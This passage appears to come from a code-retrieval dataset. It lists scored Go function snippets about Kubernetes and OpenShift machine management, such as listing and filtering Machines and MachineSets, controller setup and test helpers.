\"machine.openshift.io/v1beta1\",\n\t\t\t\tKind: \"Machine\",\n\t\t\t},\n\t\t\tObjectMeta: metav1.ObjectMeta{\n\t\t\t\tNamespace: \"openshift-machine-api\",\n\t\t\t\tName: fmt.Sprintf(\"%s-%s-%d\", clusterID, pool.Name, idx),\n\t\t\t\tLabels: map[string]string{\n\t\t\t\t\t\"machine.openshift.io/cluster-api-cluster\": clusterID,\n\t\t\t\t\t\"machine.openshift.io/cluster-api-machine-role\": role,\n\t\t\t\t\t\"machine.openshift.io/cluster-api-machine-type\": role,\n\t\t\t\t},\n\t\t\t},\n\t\t\tSpec: machineapi.MachineSpec{\n\t\t\t\tProviderSpec: machineapi.ProviderSpec{\n\t\t\t\t\tValue: &runtime.RawExtension{Object: provider},\n\t\t\t\t},\n\t\t\t\t// we don't need to set Versions, because we control those via operators.\n\t\t\t},\n\t\t}\n\t\tmachines = append(machines, machine)\n\t}\n\n\treturn machines, nil\n}", "title": "" }, { "docid": "a1598582fcaa2665b2667799851740ea", "score": "0.59229696", "text": "func ListMachines(b backend.Backend) error {\n\treturn b.ListMachines()\n}", "title": "" }, { "docid": "c2f720446a1a8ca34a2900b961e7b184", "score": "0.58366877", "text": "func (this *SessionMap) SizeMachines() int {\n\treturn len(this.map_uuid2machine)\n}", "title": "" }, { "docid": "7dfc860184ed80bff5da1b1bd76a4462", "score": "0.57670844", "text": "func StateMachines() map[string]*statemachine.StateMachine {\n\tm := make(map[string]*statemachine.StateMachine)\n\n\tpflowPath, ok := os.LookupEnv(\"PFLOWPATH\")\n\tif !ok {\n\t\tpflowPath = \"./\"\n\t}\n\t//fmt.Printf(\"%v\\n\", pflowPath)\n\n\tfiles, err := ioutil.ReadDir(pflowPath)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\tfor _, f := range files {\n\t\tmatch, err := regexp.MatchString(`(.*)\\.pflow$`, f.Name())\n\t\tif err != nil {\n\t\t\tpanic(err)\n\t\t}\n\n\t\tif match {\n\t\t\tname := strings.Replace(f.Name(), \".pflow\", \"\", 1)\n\t\t\tpath := fmt.Sprintf(\"%s/%s.pflow\", pflowPath, name)\n\t\t\tm[name] = ptnet.LoadFile(path).StateMachine()\n\t\t}\n\t}\n\treturn m\n}", "title": "" }, { "docid": "d608d5d5c7eada6a7d92ffb84fc7c20b", "score": "0.57636833", "text": "func (r *MachinesService) List() *MachinesListCall {\n\tc := &MachinesListCall{s: r.s, opt_: make(map[string]interface{})}\n\treturn c\n}", "title": "" }, { "docid": "03eaa697a57cf935d422a66ca95f1134", "score": "0.57321346", "text": "func (cs *DefaultMachineServer) ListMachines(ctx context.Context, req *cmi.ListMachinesRequest) (*cmi.ListMachinesResponse, error) {\n\treturn nil, status.Error(codes.Unimplemented, \"\")\n}", "title": "" }, { "docid": "5c0004eb9ec9cc5eeac99acb89fab032", "score": "0.57319653", "text": "func (c *ControlPlane) HealthyMachines() collections.Machines {\n\treturn c.Machines.Filter(collections.Not(collections.HasUnhealthyCondition))\n}", "title": "" }, { "docid": "a13d553980faa442f677e52ef15bdae7", "score": "0.5724847", "text": "func (c *Cluster) NodeStates() map[string]string {\n\th := make(map[string]string)\n\tfor _, n := range c.Nodes {\n\t\th[n.Host] = NodeStateDown\n\t}\n\t// we are assuming that NodeSetHosts is a subset of c.Nodes\n\tfor _, m := range c.NodeSetHosts() {\n\t\tif _, ok := h[m]; ok {\n\t\t\th[m] = NodeStateUp\n\t\t}\n\t}\n\treturn h\n}", "title": "" }, { "docid": "11d15ae49f6fdbb8d273df2e7b141d09", "score": "0.57018775", "text": "func (c *Conn) ListMachines() ([]MachineStatus, error) {\n\tresult := make([][]interface{}, 0)\n\tif err := c.object.Call(dbusInterface+\".ListMachines\", 0).Store(&result); err != nil {\n\t\treturn nil, err\n\t}\n\n\tmachs := []MachineStatus{}\n\tfor _, i := range result {\n\t\tmachine, err := machineFromInterfaces(i)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tmachs = append(machs, *machine)\n\t}\n\n\treturn machs, nil\n}", "title": "" }, { "docid": "ccfd95ffd82b28a88229d0aeb74d4d9e", "score": "0.5701754", "text": "func (c *ClusterClient) Machine(name string) (api.MachineState, error) {\n\tc.logger.Info(\n\t\t\"client_current_machine\",\n\t\tzap.String(\"name\", name),\n\t)\n\n\tstate, err := c.state()\n\tif err != nil {\n\t\treturn api.MachineState{}, err\n\t}\n\n\treturn state.Machine(name)\n}", "title": "" }, { "docid": "e7e1a7066447fa835df20b16b9d18892", "score": "0.56251687", "text": "func (cadvisorClient) MachineInfo() (*cadvisorapi.MachineInfo, error) {\n\treturn &cadvisorapi.MachineInfo{\n\t\tNumCores: 4,\n\t\tCpuFrequency: 3,\n\t\tMemoryCapacity: 16000000,\n\t\tHugePages: []cadvisorapi.HugePagesInfo{{PageSize: 4096, NumPages: 1024}},\n\t\tFilesystems: []cadvisorapi.FsInfo{},\n\t\tDiskMap: make(map[string]cadvisorapi.DiskInfo),\n\t\tNetworkDevices: []cadvisorapi.NetInfo{},\n\t\tTopology: []cadvisorapi.Node{},\n\t\tCloudProvider: cadvisorapi.UnknownProvider,\n\t\tInstanceType: cadvisorapi.UnknownInstance,\n\t\tInstanceID: cadvisorapi.UnNamedInstance,\n\t}, nil\n}", "title": "" }, { "docid": "3e463e7231fb8de6f774f2736247a34c", "score": "0.55623996", "text": "func waitForMachines(ctx context.Context, input waitForMachinesInput) (allMachineNames, newMachineNames []string) {\n\tinClustersNamespaceListOption := client.InNamespace(input.Namespace)\n\tmatchClusterListOption := client.MatchingLabels{\n\t\tclusterv1.ClusterNameLabel: input.ClusterName,\n\t\tclusterv1.MachineControlPlaneLabel: \"\",\n\t}\n\n\texpectedOldMachines := sets.Set[string]{}.Insert(input.ExpectedOldMachines...)\n\texpectedDeletedMachines := sets.Set[string]{}.Insert(input.ExpectedDeletedMachines...)\n\tallMachines := sets.Set[string]{}\n\tnewMachines := sets.Set[string]{}\n\tmachineList := &clusterv1.MachineList{}\n\n\t// Waits for the desired set of machines to exist.\n\tlog.Logf(\"Waiting for %d machines, must have %s, must not have %s\", input.ExpectedReplicas, expectedOldMachines.UnsortedList(), expectedDeletedMachines.UnsortedList())\n\tEventually(func(g Gomega) {\n\t\t// Gets the list of machines\n\t\tg.Expect(input.Lister.List(ctx, machineList, inClustersNamespaceListOption, matchClusterListOption)).To(Succeed())\n\n\t\tallMachines = sets.Set[string]{}\n\t\tfor i := range machineList.Items {\n\t\t\tallMachines.Insert(machineList.Items[i].Name)\n\t\t}\n\n\t\t// Compute new machines (all - old - to be deleted)\n\t\tnewMachines = allMachines.Clone()\n\t\tnewMachines.Delete(expectedOldMachines.UnsortedList()...)\n\t\tnewMachines.Delete(expectedDeletedMachines.UnsortedList()...)\n\n\t\tlog.Logf(\" - expected %d, got %d: %s, of which new %s, must have check: %t, must not have check: %t\", input.ExpectedReplicas, allMachines.Len(), allMachines.UnsortedList(), newMachines.UnsortedList(), allMachines.HasAll(expectedOldMachines.UnsortedList()...), !allMachines.HasAny(expectedDeletedMachines.UnsortedList()...))\n\n\t\t// Ensures all the expected old machines are still there.\n\t\tg.Expect(allMachines.HasAll(expectedOldMachines.UnsortedList()...)).To(BeTrue(),\n\t\t\t\"Got machines: %s, must contain all of: %s\", allMachines.UnsortedList(), expectedOldMachines.UnsortedList())\n\n\t\t// Ensures none of the machines to be deleted is still there.\n\t\tg.Expect(!allMachines.HasAny(expectedDeletedMachines.UnsortedList()...)).To(BeTrue(),\n\t\t\t\"Got machines: %s, must not contain any of: %s\", allMachines.UnsortedList(), expectedDeletedMachines.UnsortedList())\n\n\t\tg.Expect(allMachines).To(HaveLen(input.ExpectedReplicas), \"Got %d machines, must be %d\", len(allMachines), input.ExpectedReplicas)\n\t}, input.WaitForMachinesIntervals...).Should(Succeed(),\n\t\t\"Failed to get the expected list of machines: got %s (expected %d machines, must have %s, must not have %s)\",\n\t\tallMachines.UnsortedList(), input.ExpectedReplicas, expectedOldMachines.UnsortedList(), expectedDeletedMachines.UnsortedList())\n\tlog.Logf(\"Got %d machines: %s\", allMachines.Len(), allMachines.UnsortedList())\n\n\t// Ensures the desired set of machines is stable (no further machines are created or deleted).\n\tlog.Logf(\"Checking the list of machines is stable\")\n\tallMachinesNow := sets.Set[string]{}\n\tConsistently(func() bool {\n\t\t// Gets the list of machines\n\t\tif err := input.Lister.List(ctx, machineList, inClustersNamespaceListOption, matchClusterListOption); err != nil {\n\t\t\treturn false\n\t\t}\n\t\tallMachinesNow = sets.Set[string]{}\n\t\tfor i := range machineList.Items {\n\t\t\tallMachinesNow.Insert(machineList.Items[i].Name)\n\t\t}\n\n\t\treturn allMachines.Equal(allMachinesNow)\n\t}, input.CheckMachineListStableIntervals...).Should(BeTrue(), \"Expected list of machines is not stable: got %s, expected %s\", allMachinesNow.UnsortedList(), allMachines.UnsortedList())\n\n\treturn allMachines.UnsortedList(), newMachines.UnsortedList()\n}", "title": "" }, { "docid": "3b4a54e5317b3a18cf7030f00338c6fb", "score": "0.55588347", "text": "func ListMachines(e *Env) http.HandlerFunc {\n\treturn http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\tif r.Body == nil {\n\t\t\thttp.Error(w, \"No request body\", 400)\n\t\t\treturn\n\t\t}\n\n\t\tvar p request\n\t\tif err := json.NewDecoder(r.Body).Decode(&p); err != nil {\n\t\t\thttp.Error(w, \"Malformed JSON request\", 500)\n\t\t\treturn\n\t\t}\n\n\t\tres, err := e.DB.Machines(p.Start, p.End, p.Sets)\n\t\tif err != nil {\n\t\t\thttp.Error(w, err.Error(), 500)\n\t\t\treturn\n\t\t}\n\n\t\tw.Header().Set(hdr.key, hdr.val)\n\t\tjson.NewEncoder(w).Encode(res)\n\t})\n}", "title": "" }, { "docid": "78edd15ad7a99b349c05db1a29bdda8e", "score": "0.5481079", "text": "func machinesList(w http.ResponseWriter, r *http.Request, token auth.Token) error {\n\tmachines, err := iaas.ListMachines()\n\tif err != nil {\n\t\treturn err\n\t}\n\tcontexts := permission.ContextsForPermission(token, permission.PermMachineRead)\n\tallowedIaaS := map[string]struct{}{}\n\tfor _, c := range contexts {\n\t\tif c.CtxType == permission.CtxGlobal {\n\t\t\tallowedIaaS = nil\n\t\t\tbreak\n\t\t}\n\t\tif c.CtxType == permission.CtxIaaS {\n\t\t\tallowedIaaS[c.Value] = struct{}{}\n\t\t}\n\t}\n\tfor i := 0; allowedIaaS != nil && i < len(machines); i++ {\n\t\tif _, ok := allowedIaaS[machines[i].Iaas]; !ok {\n\t\t\tmachines = append(machines[:i], machines[i+1:]...)\n\t\t\ti--\n\t\t}\n\t}\n\tw.Header().Add(\"Content-Type\", \"application/json\")\n\treturn json.NewEncoder(w).Encode(machines)\n}", "title": "" }, { "docid": "f19c2a1730ad73820a8ca6bd12f8fbdf", "score": "0.5424026", "text": "func (oi *OracleInfo) GetMachineTypes() (map[string]pkgCluster.MachineType, error) {\n\tif len(oi.SecretId) == 0 {\n\t\treturn nil, pkgErrors.ErrorRequiredSecretId\n\t}\n\n\toci, err := oi.GetOCI(oi.BaseFields.OrgId, oi.BaseFields.SecretId)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tshapesByRegion, err := oci.GetSupportedShapes()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\t_shapes := make(map[string]pkgCluster.MachineType, 0)\n\tfor region, shapes := range shapesByRegion {\n\t\t_shapes[region] = shapes\n\t}\n\n\treturn _shapes, nil\n}", "title": "" }, { "docid": "449e76030e51c6a7a14fa139803d0d27", "score": "0.5416649", "text": "func getMatchingMachines(machineDeployment *v1alpha1.MachineDeployment, clusterClient clientset.Interface) ([]v1alpha1.Machine, error) {\n\tmatchingMachineSets, err := getMachingMachineSets(machineDeployment, clusterClient)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tglog.V(2).Infof(\"Found %v matching MachineSets for %s\", len(matchingMachineSets), machineDeployment.Name)\n\tvar matchingMachines []v1alpha1.Machine\n\tfor _, machineSet := range matchingMachineSets {\n\t\tmachinesForMachineSet, err := getMatchingMachinesForMachineset(&machineSet, clusterClient)\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"failed to get matching Machines for MachineSet %s: %v\", machineSet.Name, err)\n\t\t}\n\t\tmatchingMachines = append(matchingMachines, machinesForMachineSet...)\n\t}\n\tglog.V(2).Infof(\"Found %v matching Machines for MachineDeployment %s\", len(matchingMachines), machineDeployment.Name)\n\treturn matchingMachines, nil\n}", "title": "" }, { "docid": "ca581ed1f61ff1432f448aae82289f53", "score": "0.5393185", "text": "func BuildOwnerToMachinesMap(machines []machinev1alpha1.Machine) map[string][]machinev1alpha1.Machine {\n\townerToMachines := make(map[string][]machinev1alpha1.Machine)\n\tfor index, machine := range machines {\n\t\tif len(machine.OwnerReferences) > 0 {\n\t\t\tfor _, reference := range machine.OwnerReferences {\n\t\t\t\tif reference.Kind == MachineSetKind {\n\t\t\t\t\townerToMachines[reference.Name] = append(ownerToMachines[reference.Name], machines[index])\n\t\t\t\t}\n\t\t\t}\n\t\t} else if len(machine.Labels) > 0 {\n\t\t\tif machineDeploymentName, ok := machine.Labels[nameLabel]; ok {\n\t\t\t\townerToMachines[machineDeploymentName] = append(ownerToMachines[machineDeploymentName], machines[index])\n\t\t\t}\n\t\t}\n\t}\n\treturn ownerToMachines\n}", "title": "" }, { "docid": "03ce1ce9ebac5de5c9986a27ff51d52a", "score": "0.52942646", "text": "func (c *controller) getMachineMachineSets(machine *v1alpha1.Machine) ([]*v1alpha1.MachineSet, error) {\n\n\tif len(machine.Labels) == 0 {\n\t\terr := errors.New(\"No MachineSets found for machine because it has no labels\")\n\t\tklog.V(4).Info(err, \": \", machine.Name)\n\t\treturn nil, err\n\t}\n\n\tlist, err := c.machineSetLister.List(labels.Everything())\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tvar machineSets []*v1alpha1.MachineSet\n\tfor _, machineSet := range list {\n\t\tif machineSet.Namespace != machine.Namespace {\n\t\t\tcontinue\n\t\t}\n\t\tselector, err := metav1.LabelSelectorAsSelector(machineSet.Spec.Selector)\n\t\tif err != nil {\n\t\t\tklog.Errorf(\"Invalid selector: %v\", err)\n\t\t\treturn nil, err\n\t\t}\n\n\t\t// If a MachineSet with a nil or empty selector creeps in, it should match nothing, not everything.\n\t\tif selector.Empty() || !selector.Matches(labels.Set(machine.Labels)) {\n\t\t\tcontinue\n\t\t}\n\t\tmachineSets = append(machineSets, machineSet)\n\t}\n\n\tif len(machineSets) == 0 {\n\t\terr := errors.New(\"No MachineSets found for machine doesn't have matching labels\")\n\t\tklog.V(4).Info(err, \": \", machine.Name)\n\t\treturn nil, err\n\t}\n\n\treturn machineSets, nil\n}", "title": "" }, { "docid": "24f4137741c981ff166716a7d16f7595", "score": "0.5259498", "text": "func (m *Management) GetMachinesForCluster(ctx context.Context, cluster client.ObjectKey, filters ...machinefilters.Func) (FilterableMachineCollection, error) {\n\tselector := map[string]string{\n\t\tclusterv1.ClusterLabelName: cluster.Name,\n\t}\n\tml := &clusterv1.MachineList{}\n\tif err := m.Client.List(ctx, ml, client.InNamespace(cluster.Namespace), client.MatchingLabels(selector)); err != nil {\n\t\treturn nil, errors.Wrap(err, \"failed to list machines\")\n\t}\n\n\tmachines := NewFilterableMachineCollectionFromMachineList(ml)\n\treturn machines.Filter(filters...), nil\n}", "title": "" }, { "docid": "6b920296797859dc03c107766c93f7c3", "score": "0.52315354", "text": "func (client *k8sClusterApi) listMachinesInMachineSet(ms *machinev1beta1.MachineSet) (*machinev1beta1.MachineList, error) {\n\tsString := metav1.FormatLabelSelector(&ms.Spec.Selector)\n\tlistOpts := metav1.ListOptions{LabelSelector: sString}\n\treturn client.machine.List(context.TODO(), listOpts)\n}", "title": "" }, { "docid": "b69a30ba6fef50704438184b5462a621", "score": "0.5224603", "text": "func (c *ControlPlane) UnhealthyMachines() collections.Machines {\n\treturn c.Machines.Filter(collections.HasUnhealthyCondition)\n}", "title": "" }, { "docid": "26f4b383da466af80b3f025108472e3d", "score": "0.5198193", "text": "func GetWorkerMachineSets(ctx context.Context, client runtimeclient.Client) ([]*machinev1.MachineSet, error) {\n\tmachineSets := &machinev1.MachineSetList{}\n\n\tif err := client.List(ctx, machineSets); err != nil {\n\t\treturn nil, err\n\t}\n\n\tvar result []*machinev1.MachineSet\n\n\t// The OpenShift installer does not label MachinSets with a type or role,\n\t// but the Machines themselves are labelled as such via the template, so we\n\t// can reach into the template and check the lables there.\n\tfor i, ms := range machineSets.Items {\n\t\tlabels := ms.Spec.Template.ObjectMeta.Labels\n\n\t\tif labels == nil {\n\t\t\tcontinue\n\t\t}\n\n\t\tif labels[MachineRoleLabel] == \"worker\" {\n\t\t\tresult = append(result, &machineSets.Items[i])\n\t\t}\n\t}\n\n\tif len(result) < 1 {\n\t\treturn nil, fmt.Errorf(\"no worker MachineSets found\")\n\t}\n\n\treturn result, nil\n}", "title": "" }, { "docid": "b9e1cd73ccde6869b24d21783e1ca34b", "score": "0.5176885", "text": "func GetMachineSets(client runtimeclient.Client, selectors ...*metav1.LabelSelector) ([]*machinev1.MachineSet, error) {\n\tmachineSetList := &machinev1.MachineSetList{}\n\n\tlistOpts := append([]runtimeclient.ListOption{},\n\t\truntimeclient.InNamespace(MachineAPINamespace),\n\t)\n\n\tfor _, selector := range selectors {\n\t\ts, err := metav1.LabelSelectorAsSelector(selector)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\tlistOpts = append(listOpts,\n\t\t\truntimeclient.MatchingLabelsSelector{Selector: s},\n\t\t)\n\t}\n\n\tif err := client.List(context.Background(), machineSetList, listOpts...); err != nil {\n\t\treturn nil, fmt.Errorf(\"error querying api for machineSetList object: %w\", err)\n\t}\n\n\tmachineSets := []*machinev1.MachineSet{}\n\n\tfor _, ms := range machineSetList.Items {\n\t\tmachineSet := ms\n\t\tmachineSets = append(machineSets, &machineSet)\n\t}\n\n\treturn machineSets, nil\n}", "title": "" }, { "docid": "8bd302bc42ee9a0a56942ffdf19c73af", "score": "0.51495457", "text": "func (w *workerDelegate) MachineClassList() client.ObjectList {\n\treturn &machinev1alpha1.MachineClassList{}\n}", "title": "" }, { "docid": "321831dd8d5498e212846c066972acba", "score": "0.51143926", "text": "func (c *ClusterClient) MachineImages(\n\tnodeType api.NodeType,\n) ([]*api.Image, error) {\n\tcloudProvider, err := CloudProviderFromType(c.cluster.CloudProvider())\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn cloudProvider.MachineImages(nodeType), nil\n}", "title": "" }, { "docid": "b65013b033860ba3651392b9a68293d9", "score": "0.5096204", "text": "func makeMachinesFromTerraform(t *testing.T, terraform *terraformOutput, numMachines int) *clusterv1.MachineList {\n\tl := &clusterv1.MachineList{\n\t\tTypeMeta: metav1.TypeMeta{\n\t\t\tAPIVersion: \"cluster.k8s.io/v1alpha1\",\n\t\t\tKind: \"MachineList\",\n\t\t},\n\t}\n\tpublicIPs := terraform.stringArrayVar(keyPublicIPs)\n\tprivateIPs := terraform.stringArrayVar(keyPrivateIPs)\n\tassert.True(t, len(publicIPs) >= 2) // One master and at least one node\n\tassert.True(t, len(privateIPs) == len(publicIPs))\n\n\tif numMachines < 0 {\n\t\tnumMachines = len(publicIPs)\n\t}\n\tassert.True(t, numMachines >= 2)\n\tassert.True(t, numMachines <= len(publicIPs))\n\n\t// First machine will be master\n\tconst numMasters = 1\n\n\tfor i := 0; i < numMasters; i++ {\n\t\tappendMachine(t, l, master, publicIPs[i], privateIPs[i])\n\t}\n\n\t// Subsequent machines will be nodes.\n\tfor i := numMasters; i < numMachines; i++ {\n\t\tappendMachine(t, l, node, publicIPs[i], privateIPs[i])\n\t}\n\n\treturn l\n}", "title": "" }, { "docid": "76ac7c2e19ebb1b9cf0e3b922c7141c8", "score": "0.5076813", "text": "func (n *Netrc) Machine(name string) *Machine {\n\tfor _, m := range n.machines {\n\t\tif m.Name == name {\n\t\t\treturn m\n\t\t}\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "f3a6f7ccec5182580376a3a616e19dfc", "score": "0.5048505", "text": "func (c *ControlPlane) PatchMachines(ctx context.Context) error {\n\terrList := []error{}\n\tfor i := range c.Machines {\n\t\tmachine := c.Machines[i]\n\t\tif helper, ok := c.machinesPatchHelpers[machine.Name]; ok {\n\t\t\tif err := helper.Patch(ctx, machine, patch.WithOwnedConditions{Conditions: []clusterv1.ConditionType{\n\t\t\t\tcontrolplanev1.MachineAPIServerPodHealthyCondition,\n\t\t\t\tcontrolplanev1.MachineControllerManagerPodHealthyCondition,\n\t\t\t\tcontrolplanev1.MachineSchedulerPodHealthyCondition,\n\t\t\t\tcontrolplanev1.MachineEtcdPodHealthyCondition,\n\t\t\t\tcontrolplanev1.MachineEtcdMemberHealthyCondition,\n\t\t\t}}); err != nil {\n\t\t\t\terrList = append(errList, errors.Wrapf(err, \"failed to patch machine %s\", machine.Name))\n\t\t\t}\n\t\t\tcontinue\n\t\t}\n\t\terrList = append(errList, errors.Errorf(\"failed to get patch helper for machine %s\", machine.Name))\n\t}\n\treturn kerrors.NewAggregate(errList)\n}", "title": "" }, { "docid": "f845c4a8426179baddfce046448e3e18", "score": "0.5046655", "text": "func NewMachineController(\n\tkubeClient kubernetes.Interface,\n\tmachineClient machineclientset.Interface,\n\tnodeInformer cache.SharedIndexInformer,\n\tnodeLister listerscorev1.NodeLister,\n\tconfigMapLister listerscorev1.ConfigMapLister,\n\tmachineInformer cache.SharedIndexInformer,\n\tmachineLister machinelistersv1alpha1.MachineLister,\n\tclusterDNSIPs []net.IP,\n\tmetrics MetricsCollection,\n\tkubeconfigProvider KubeconfigProvider,\n\tname string) *Controller {\n\n\tcontroller := &Controller{\n\t\tkubeClient: kubeClient,\n\t\tnodesLister: nodeLister,\n\t\tconfigMapLister: configMapLister,\n\n\t\tmachineClient: machineClient,\n\t\tmachinesLister: machineLister,\n\n\t\tworkqueue: workqueue.NewNamedRateLimitingQueue(workqueue.NewItemFastSlowRateLimiter(2*time.Second, 10*time.Second, 5), \"Machines\"),\n\n\t\tclusterDNSIPs: clusterDNSIPs,\n\t\tmetrics: metrics,\n\t\tkubeconfigProvider: kubeconfigProvider,\n\n\t\tname: name,\n\t}\n\n\tmachineInformer.AddEventHandler(cache.ResourceEventHandlerFuncs{\n\t\tAddFunc: controller.enqueueMachine,\n\t\tUpdateFunc: func(old, new interface{}) {\n\t\t\tcontroller.enqueueMachine(new)\n\t\t},\n\t})\n\n\tnodeInformer.AddEventHandler(cache.ResourceEventHandlerFuncs{\n\t\tAddFunc: controller.handleObject,\n\t\tUpdateFunc: func(old, new interface{}) {\n\t\t\tnewNode := new.(*corev1.Node)\n\t\t\toldNode := old.(*corev1.Node)\n\t\t\tif newNode.ResourceVersion == oldNode.ResourceVersion {\n\t\t\t\treturn\n\t\t\t}\n\t\t\tcontroller.handleObject(new)\n\t\t},\n\t\tDeleteFunc: controller.handleObject,\n\t})\n\n\tutilruntime.ErrorHandlers = append(utilruntime.ErrorHandlers, func(err error) {\n\t\tcontroller.metrics.Errors.Add(1)\n\t})\n\n\treturn controller\n}", "title": "" }, { "docid": "82dd422347ffa4178dee653aa5e4efb4", "score": "0.5037128", "text": "func (o *KubernetesNodeInfoAllOf) GetMachineId() string {\n\tif o == nil || o.MachineId == nil {\n\t\tvar ret string\n\t\treturn ret\n\t}\n\treturn *o.MachineId\n}", "title": "" }, { "docid": "7f78df2cd36257c5a49d85146545382a", "score": "0.5021397", "text": "func getMachingMachineSets(machineDeployment *v1alpha1.MachineDeployment, clusterClient clientset.Interface) ([]v1alpha1.MachineSet, error) {\n\t// Ensure we actually have an object from the KubeAPI and not just the result of the yaml parsing, as the latter\n\t// can not be the owner of anything due to missing UID\n\tif machineDeployment.ResourceVersion == \"\" {\n\t\tvar err error\n\t\tmachineDeployment, err = clusterClient.ClusterV1alpha1().MachineDeployments(machineDeployment.Namespace).Get(machineDeployment.Name, metav1.GetOptions{})\n\t\tif err != nil {\n\t\t\tif !kerrors.IsNotFound(err) {\n\t\t\t\treturn nil, fmt.Errorf(\"failed to get MachineDeployment %s: %v\", machineDeployment.Name, err)\n\t\t\t}\n\t\t\treturn nil, nil\n\t\t}\n\t}\n\tallMachineSets, err := clusterClient.ClusterV1alpha1().MachineSets(machineDeployment.Namespace).List(metav1.ListOptions{})\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"failed to list MachineSets: %v\", err)\n\t}\n\tvar matchingMachineSets []v1alpha1.MachineSet\n\tfor _, machineSet := range allMachineSets.Items {\n\t\tif metav1.GetControllerOf(&machineSet) != nil && metav1.IsControlledBy(&machineSet, machineDeployment) {\n\t\t\tmatchingMachineSets = append(matchingMachineSets, machineSet)\n\t\t}\n\t}\n\treturn matchingMachineSets, nil\n}", "title": "" }, { "docid": "5b125c0608657ca46a1487b300e50245", "score": "0.50003165", "text": "func getValidMachineSet() *clusteroperator.MachineSet {\n\treturn &clusteroperator.MachineSet{\n\t\tObjectMeta: metav1.ObjectMeta{\n\t\t\tOwnerReferences: []metav1.OwnerReference{getValidClusterOwnerRef()},\n\t\t},\n\t\tSpec: clusteroperator.MachineSetSpec{\n\t\t\tMachineSetConfig: clusteroperator.MachineSetConfig{\n\t\t\t\tNodeType: clusteroperator.NodeTypeMaster,\n\t\t\t\tSize: 1,\n\t\t\t},\n\t\t\tClusterVersionRef: getClusterVersionReference(),\n\t\t},\n\t}\n}", "title": "" }, { "docid": "937b5962f3eecd7b07c982c7638f0023", "score": "0.49627668", "text": "func (e *Environment) Machine(name string) (hps.IMachine, bool) {\n\tfor _, m := range e.machines {\n\t\tif m.Name() == name {\n\t\t\treturn m, true\n\t\t}\n\t}\n\treturn nil, false\n}", "title": "" }, { "docid": "fcff31e82dc25a03a779a50dbb96605f", "score": "0.49525476", "text": "func (s *Service) QueryMachineLifeCycle(c context.Context) (machineResponse map[string]interface{}, err error) {\n\tvar machineLifeCycles []*model.MachineLifeCycle\n\n\tmachineResponse = make(map[string]interface{})\n\n\tif machineLifeCycles, err = s.dao.MachineLifeCycle(); err != nil {\n\t\treturn\n\t}\n\tmachineResponse[\"machine_life_cycle\"] = machineLifeCycles\n\n\treturn\n}", "title": "" }, { "docid": "d24748618e998abf8d7868307802aaa6", "score": "0.49501494", "text": "func (hcp *huaweicloudCloudProvider) GetAvailableMachineTypes() ([]string, error) {\n\treturn []string{}, nil\n}", "title": "" }, { "docid": "f29c17a78f652702179518817d7a3506", "score": "0.49351242", "text": "func (r *ByoMachineReconciler) ClusterToByoMachines(logger logr.Logger) handler.MapFunc {\n\treturn func(o client.Object) []ctrl.Request {\n\t\tc, ok := o.(*clusterv1.Cluster)\n\t\tif !ok {\n\t\t\terrMsg := fmt.Sprintf(\"Expected a Cluster but got a %T\", o)\n\t\t\tlogger.Error(errors.New(errMsg), errMsg)\n\t\t\treturn nil\n\t\t}\n\n\t\tlogger = logger.WithValues(\"objectMapper\", \"ClusterToByoMachines\", \"namespace\", c.Namespace, \"Cluster\", c.Name)\n\n\t\t// Don't handle deleted clusters\n\t\tif !c.ObjectMeta.DeletionTimestamp.IsZero() {\n\t\t\tlogger.Info(\"Cluster has a deletion timestamp, skipping mapping.\")\n\t\t\treturn nil\n\t\t}\n\n\t\tclusterLabels := map[string]string{clusterv1.ClusterLabelName: c.Name}\n\t\tbyoMachineList := &infrav1.ByoMachineList{}\n\t\tif err := r.Client.List(context.TODO(), byoMachineList, client.InNamespace(c.Namespace), client.MatchingLabels(clusterLabels)); err != nil {\n\t\t\tlogger.Error(err, \"Failed to get ByoMachine, skipping mapping.\")\n\t\t\treturn nil\n\t\t}\n\n\t\tresult := make([]ctrl.Request, 0, len(byoMachineList.Items))\n\t\tfor i := range byoMachineList.Items {\n\t\t\tlogger.WithValues(\"byoMachine\", byoMachineList.Items[i].Name)\n\t\t\tlogger.Info(\"Adding ByoMachine to reconciliation request.\")\n\t\t\tresult = append(result, ctrl.Request{NamespacedName: client.ObjectKey{Namespace: byoMachineList.Items[i].Namespace, Name: byoMachineList.Items[i].Name}})\n\t\t}\n\t\treturn result\n\t}\n}", "title": "" }, { "docid": "d42b19d2871b189e75aa48d2305f45de", "score": "0.49228078", "text": "func (w *cachingValidationWrapper) MachineMetricsLabels(machine *v1alpha1.Machine) (map[string]string, error) {\n\treturn w.actualProvider.MachineMetricsLabels(machine)\n}", "title": "" }, { "docid": "6375f8eb33312960f68f95886a0f6cbe", "score": "0.49217877", "text": "func (o LookupTableResultOutput) ClusterStates() pulumi.StringMapOutput {\n\treturn o.ApplyT(func(v LookupTableResult) map[string]string { return v.ClusterStates }).(pulumi.StringMapOutput)\n}", "title": "" }, { "docid": "d9a34a4889039b2c09e2f62320c1d237", "score": "0.49201214", "text": "func (a *OvirtActuator) GenerateMachineSets(cd *hivev1.ClusterDeployment, pool *hivev1.MachinePool, logger log.FieldLogger) ([]*machineapi.MachineSet, bool, error) {\n\tif cd.Spec.ClusterMetadata == nil {\n\t\treturn nil, false, errors.New(\"ClusterDeployment does not have cluster metadata\")\n\t}\n\tif cd.Spec.Platform.Ovirt == nil {\n\t\treturn nil, false, errors.New(\"ClusterDeployment is not for oVirt\")\n\t}\n\tif pool.Spec.Platform.Ovirt == nil {\n\t\treturn nil, false, errors.New(\"MachinePool is not for oVirt\")\n\t}\n\n\tcomputePool := baseMachinePool(pool)\n\n\tcomputePool.Platform.Ovirt = &installertypesovirt.MachinePool{\n\t\tCPU: &installertypesovirt.CPU{\n\t\t\tCores: pool.Spec.Platform.Ovirt.CPU.Cores,\n\t\t\tSockets: pool.Spec.Platform.Ovirt.CPU.Sockets,\n\t\t},\n\t\tMemoryMB: 